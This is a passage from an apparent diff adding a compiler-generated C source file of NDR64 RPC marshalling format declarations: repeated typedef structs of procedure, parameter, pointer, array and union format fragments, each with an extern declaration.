_NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag461_t; +extern const __midl_frag461_t __midl_frag461; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag457_t; +extern const __midl_frag457_t __midl_frag457; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag456_t; +extern const __midl_frag456_t __midl_frag456; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag455_t; +extern const __midl_frag455_t __midl_frag455; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag449_t; +extern const __midl_frag449_t __midl_frag449; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag443_t; +extern const __midl_frag443_t __midl_frag443; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag434_t; +extern const __midl_frag434_t __midl_frag434; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag426_t; +extern const __midl_frag426_t __midl_frag426; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag414_t; +extern const __midl_frag414_t __midl_frag414; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag407_t; +extern const __midl_frag407_t __midl_frag407; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag399_t; +extern const __midl_frag399_t __midl_frag399; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag391_t; +extern const __midl_frag391_t __midl_frag391; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag383_t; +extern const __midl_frag383_t __midl_frag383; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag376_t; +extern const __midl_frag376_t __midl_frag376; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag357_t; +extern const __midl_frag357_t __midl_frag357; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag350_t; +extern const __midl_frag350_t __midl_frag350; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag337_t; +extern const __midl_frag337_t __midl_frag337; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag324_t; +extern const __midl_frag324_t __midl_frag324; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag322_t; +extern const __midl_frag322_t __midl_frag322; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag315_t; +extern const __midl_frag315_t __midl_frag315; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag313_t; +extern const __midl_frag313_t __midl_frag313; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag312_t; +extern const __midl_frag312_t __midl_frag312; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag309_t; +extern const __midl_frag309_t __midl_frag309; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag308_t; +extern const __midl_frag308_t __midl_frag308; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag305_t; +extern const __midl_frag305_t __midl_frag305; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag300_t; +extern const __midl_frag300_t __midl_frag300; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag294_t; +extern const __midl_frag294_t __midl_frag294; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag288_t; +extern const __midl_frag288_t __midl_frag288; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag287_t; +extern const __midl_frag287_t __midl_frag287; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag286_t; +extern const __midl_frag286_t __midl_frag286; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag285_t; +extern const __midl_frag285_t __midl_frag285; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag283_t; +extern const __midl_frag283_t __midl_frag283; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag276_t; +extern const __midl_frag276_t __midl_frag276; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag268_t; +extern const __midl_frag268_t __midl_frag268; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag264_t; +extern const __midl_frag264_t __midl_frag264; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag263_t; +extern const __midl_frag263_t __midl_frag263; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag261_t; +extern const __midl_frag261_t __midl_frag261; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_NO_REPEAT_FORMAT frag7; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + struct _NDR64_NO_REPEAT_FORMAT frag10; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag11; + struct _NDR64_POINTER_FORMAT frag12; + NDR64_FORMAT_CHAR frag13; + } frag2; +} +__midl_frag253_t; +extern const __midl_frag253_t __midl_frag253; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag252_t; +extern const __midl_frag252_t __midl_frag252; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag251_t; +extern const __midl_frag251_t __midl_frag251; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_NO_REPEAT_FORMAT frag7; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + NDR64_FORMAT_CHAR frag10; + } frag2; +} +__midl_frag246_t; +extern const __midl_frag246_t __midl_frag246; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag245_t; +extern const __midl_frag245_t __midl_frag245; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag243_t; +extern const __midl_frag243_t __midl_frag243; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + NDR64_UINT32 frag8; +} +__midl_frag242_t; +extern const __midl_frag242_t __midl_frag242; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag241_t; +extern const __midl_frag241_t __midl_frag241; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag240_t; +extern const __midl_frag240_t __midl_frag240; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; +} +__midl_frag238_t; +extern const __midl_frag238_t __midl_frag238; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag236_t; +extern const __midl_frag236_t __midl_frag236; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag235_t; +extern const __midl_frag235_t __midl_frag235; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag230_t; +extern const __midl_frag230_t __midl_frag230; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag229_t; +extern const __midl_frag229_t __midl_frag229; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag17; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag18; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag19; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag20; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag21; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag22; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag23; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag24; + struct _NDR64_MEMPAD_FORMAT frag25; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag26; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag27; + struct _NDR64_MEMPAD_FORMAT frag28; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag29; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag30; + struct _NDR64_MEMPAD_FORMAT frag31; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag32; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag33; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag34; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag35; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag36; + struct _NDR64_MEMPAD_FORMAT frag37; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag38; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag39; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag40; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag41; + struct _NDR64_MEMPAD_FORMAT frag42; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag43; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag44; + struct _NDR64_MEMPAD_FORMAT frag45; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag46; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag47; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag48; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag49; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag50; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag51; + struct _NDR64_MEMPAD_FORMAT frag52; + struct _NDR64_BUFFER_ALIGN_FORMAT frag53; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag54; + } frag2; +} +__midl_frag227_t; +extern const __midl_frag227_t __midl_frag227; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag223_t; +extern const __midl_frag223_t __midl_frag223; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag216_t; +extern const __midl_frag216_t __midl_frag216; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag210_t; +extern const __midl_frag210_t __midl_frag210; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag204_t; +extern const __midl_frag204_t __midl_frag204; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag199_t; +extern const __midl_frag199_t __midl_frag199; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_REGION_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag189_t; +extern const __midl_frag189_t __midl_frag189; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag188_t; +extern const __midl_frag188_t __midl_frag188; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag186_t; +extern const __midl_frag186_t __midl_frag186; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag179_t; +extern const __midl_frag179_t __midl_frag179; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag171_t; +extern const __midl_frag171_t __midl_frag171; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag170_t; +extern const __midl_frag170_t __midl_frag170; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag167_t; +extern const __midl_frag167_t __midl_frag167; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag166_t; +extern const __midl_frag166_t __midl_frag166; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag165_t; +extern const __midl_frag165_t __midl_frag165; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; +} +__midl_frag160_t; +extern const __midl_frag160_t __midl_frag160; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag156_t; +extern const __midl_frag156_t __midl_frag156; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag155_t; +extern const __midl_frag155_t __midl_frag155; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag154_t; +extern const __midl_frag154_t __midl_frag154; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag153_t; +extern const __midl_frag153_t __midl_frag153; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag149_t; +extern const __midl_frag149_t __midl_frag149; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag148_t; +extern const __midl_frag148_t __midl_frag148; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag147_t; +extern const __midl_frag147_t __midl_frag147; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag146_t; +extern const __midl_frag146_t __midl_frag146; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; +} +__midl_frag145_t; +extern const __midl_frag145_t __midl_frag145; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_MEMPAD_FORMAT frag7; + struct _NDR64_BUFFER_ALIGN_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + } frag2; +} +__midl_frag141_t; +extern const __midl_frag141_t __midl_frag141; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag140_t; +extern const __midl_frag140_t __midl_frag140; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag139_t; +extern const __midl_frag139_t __midl_frag139; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_BUFFER_ALIGN_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + } frag2; +} +__midl_frag136_t; +extern const __midl_frag136_t __midl_frag136; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag135_t; +extern const __midl_frag135_t __midl_frag135; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag134_t; +extern const __midl_frag134_t __midl_frag134; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag133_t; +extern const __midl_frag133_t __midl_frag133; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag131_t; +extern const __midl_frag131_t __midl_frag131; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag130_t; +extern const __midl_frag130_t __midl_frag130; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag127_t; +extern const 